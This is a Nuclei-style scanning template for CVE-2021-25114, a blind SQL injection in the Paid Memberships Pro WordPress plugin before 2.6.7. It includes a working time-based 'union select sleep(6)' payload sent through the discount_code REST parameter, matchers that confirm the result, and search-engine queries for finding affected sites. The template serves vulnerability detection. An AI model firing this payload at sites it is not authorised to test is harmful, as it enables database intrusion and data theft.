WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2021-25114
info:
name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
remediation: |
Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
- https://wordpress.org/plugins/paid-memberships-pro/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25114
- https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-25114
cwe-id: CWE-89
epss-score: 0.66541
epss-percentile: 0.98493
cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: strangerstudios
product: paid_memberships_pro
framework: wordpress
shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
fofa-query: body=/wp-content/plugins/paid-memberships-pro/
publicwww-query: /wp-content/plugins/paid-memberships-pro/
google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios
http:
- raw:
- |
@timeout: 15s
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration_1>=6
- contains(header_1, "application/json")
- status_code == 200
- contains(body_2, 'other_discount_code_')
condition: and
# digest: 4a0a0047304502201ddcbcb361f6d5e38d555d173140dda9f66708e7638c9e3b42f342f38017821e022100e5f6f60a8c6d7f92ab90b32f3365ceb3c91efc8a9d9b7c52626f76229374a4e5:922c64590222798bb761d5b6d8e72950